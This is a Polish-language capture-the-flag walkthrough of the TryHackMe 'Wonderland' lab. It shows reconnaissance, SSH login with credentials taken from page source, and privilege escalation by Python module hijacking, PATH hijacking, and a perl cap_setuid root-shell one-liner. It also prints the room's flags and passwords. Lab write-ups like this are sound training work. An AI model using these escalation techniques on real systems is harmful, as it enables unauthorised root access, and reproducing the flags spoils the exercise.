Wonderland

https://tryhackme.com/room/wonderland

Cele

- Flaga user.txt
- Flaga root.txt

Ping

```
ping -c 10 10.10.15.130
```

```
PING 10.10.15.130 (10.10.15.130) 56(84) bytes of data.
64 bytes from 10.10.15.130: icmp_seq=1 ttl=63 time=51.8 ms
64 bytes from 10.10.15.130: icmp_seq=2 ttl=63 time=51.8 ms
```

Nmap Init

```
nmap -p- 10.10.15.130
```

```
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
```

Nmap Full

```
nmap -p 22,80 -sC -sV 10.10.15.130
```

```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux;
protocol 2.0)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or
InfluxDB API)
|_http-title: Follow the white rabbit.
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Dirbuster

- *http://10.10.15.130*
- Slownik: directory-list-lowercase-2.3-medium.txt
- Starting dir/file list based brute forcing
  ```
  Dir found: / - 200
  File found: /img - 301
  Dir found: /img/ - 200
  File found: /r - 301
  Dir found: /r/ - 200
  Dir found: /r/a/ - 200
  File found: /r/a - 301
  File found: /r/a/b - 301
  Dir found: /r/a/b/ - 200
  Dir found: /r/a/b/b/ - 200
  File found: /r/a/b/b - 301
  File found: /r/a/b/b/i - 301
  Dir found: /r/a/b/b/i/ - 200
  File found: /r/a/b/b/i/t - 301
  Dir found: /r/a/b/b/i/t/ - 200
  DirBuster Stopped
  ```

Sprawdzenie *http://10.10.15.130/r/a/b/b/i/t*

- W view-source:
  alice:HowDothTheLittleCrocodileImproveHisShiningTail

SSH

```
ssh alice@10.10.15.130
```

- pass: HowDothTheLittleCrocodileImproveHisShiningTail

- alice@wonderland:~$ la -la
  ```
  total 40
  drwxr-xr-x 5 alice alice 4096 May 25 2020 .
  drwxr-xr-x 6 root root 4096 May 25 2020 ..
  lrwxrwxrwx 1 root root 9 May 25 2020 .bash_history ->
  ```

```
/dev/null
-rw-r--r-- 1 alice alice 220 May 25 2020 .bash_logout
-rw-r--r-- 1 alice alice 3771 May 25 2020 .bashrc
drwx------ 2 alice alice 4096 May 25 2020 .cache
drwx------ 3 alice alice 4096 May 25 2020 .gnupg
drwxrwxr-x 3 alice alice 4096 May 25 2020 .local
-rw-r--r-- 1 alice alice 807 May 25 2020 .profile
-rw------- 1 root root 66 May 25 2020 root.txt
-rw-r--r-- 1 root root 3577 May 25 2020 walrus_and_the_carpenter.py
```

- `alice@wonderland:~$ cat walrus_and_the_carpenter.py`
- `sudo -l : User alice may run the following commands on wonderland:`
  ```
  (rabbit) /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
  ```
- `root.txt w katalogu usera. user.txt w katalogu roota?`

user.txt

```
alice@wonderland:~$ cat /root/user.txt
thm{"Curiouser and curiouser!"}
```

Python script

-
  ```
  alice@wonderland:~$ cat walrus_and_the_carpenter.py
  import random
  poem = """The sun was shining on the sea,
  Shining with all his might:
  He did his very best to make
  The billows smooth and bright —
  And this was odd, because it was
  The middle of the night.

  "O Oysters," said the Carpenter.
  "You’ve had a pleasant run!
  ```

```
Shall we be trotting home again?"
But answer came there none —
And that was scarcely odd, because
They'd eaten every one."""

for i in range(10):
line = random.choice(poem.split("\n"))
```

```
alice@wonderland:~$ python3 walrus_and_the_carpenter.py
The line was:    Their coats were brushed, their faces washed,
The line was:    To give a hand to each."
The line was:    And all of us are fat!"
The line was:    Those of the largest size.
The line was:
The line was:    The moon was shining sulkily,
The line was:
The line was:
The line was:    "After such kindness, that would be
The line was:    "Cut us another slice:
```

PrivilegeEsc

- Stworzenie pliku random.py w katalogu alice

```
import os

os.system("/bin/bash")
```

- Wykonane skryptu z uprawnieniami uzytownika rabbit

```
alice@wonderland:~$ sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py
[sudo] password for alice:
rabbit@wonderland:~$ id
uid=1002(rabbit) gid=1002(rabbit) groups=1002(rabbit)
```

Rabbit

```
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
```

```
Probably by Sun, 18 Sep 2022 10:40:24 +0000
Ask very nicely, and I will give you some tea while you wait for him

Segmentation fault (core dumped)
```

```
cat teaParty
```

he Mad Hatter will be here soon./bin/echo -n '**Probably by ' && date --date='next hour'** -RAsk very nicely, and I will give you some tea while you wait for himSegmentation fault (core dumped)

- Stworzenie pliku date

```
rabbit@wonderland:/home/rabbit$ ls
date  teaParty
rabbit@wonderland:/home/rabbit$ cat date
#!/bin/bash
/bin/bash
rabbit@wonderland:/home/rabbit$
```

PrivEsc: PATH

- Nadanie uprawnien plikowi date

```
chmod +x date
```

- Zmiania PATH w celu wykonania nowwego pliku date

```
export PATH=/home/rabbit:$PATH
```

- Uruchomienie pliku teaParty oraz eskalacja

```
rabbit@wonderland:/home/rabbit$ ./teaParty
Welcome to the tea party!
The Mad Hatter will be here soon.
Probably by hatter@wonderland:/home/rabbit$ whoami
hatter
hatter@wonderland:/home/rabbit$ id
uid=1003(hatter) gid=1002(rabbit) groups=1002(rabbit)
```

```
hatter@wonderland:/home/rabbit$
```

Hatter

```
hatter@wonderland:/home$ cd hatter/
hatter@wonderland:/home/hatter$ ls
password.txt
hatter@wonderland:/home/hatter$ cat password.txt
WhyIsARavenLikeAWritingDesk?
```

`hatter:WhyIsARavenLikeAWritingDesk?`

Linpeas

- przeslanie linpeas.sh

```
root㉿kali)-[/home/kali]
└─# scp linpeas.sh hatter@10.10.216.154:/home/hatter
hatter@10.10.216.154's password:
linpeas.sh
```

```
hatter@wonderland:~$ ls -la
total 844
drwxr-x--- 5 hatter hatter   4096 Sep 18 10:39 .
drwxr-xr-x 6 root   root     4096 May 25  2020 ..
lrwxrwxrwx 1 root   root        9 May 25  2020 .bash_history -> /dev/null
-rw-r--r-- 1 hatter hatter    220 May 25  2020 .bash_logout
-rw-r--r-- 1 hatter hatter   3771 May 25  2020 .bashrc
drwx------ 2 hatter hatter   4096 Sep 18 10:35 .cache
drwx------ 3 hatter hatter   4096 Sep 18 10:35 .gnupg
drwxrwxr-x 3 hatter hatter   4096 May 25  2020 .local
-rw-r--r-- 1 hatter hatter    807 May 25  2020 .profile
-rwxrwxr-x 1 hatter hatter 825692 Sep 18 10:39 linpeas.sh
-rw------- 1 hatter hatter     29 May 25  2020 password.txt
```

- Wektory ataku

```
Files with capabilities (limited to 50):
/usr/bin/perl5.26.1 = cap_setuid+ep
/usr/bin/mtr-packet = cap_net_raw+ep
```

```
/usr/bin/perl = cap_setuid+ep
```

- GTFOBins

```
cp $(which perl) .
sudo setcap cap_setuid+ep perl

./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
```

ROOT

```
hatter@wonderland:~$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
# pwd
/home/hatter
# id
uid=0(root) gid=1003(hatter) groups=1003(hatter)
# shell
/bin/sh: 3: shell: not found
# cat /home/alice/root.txt
thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}
#
```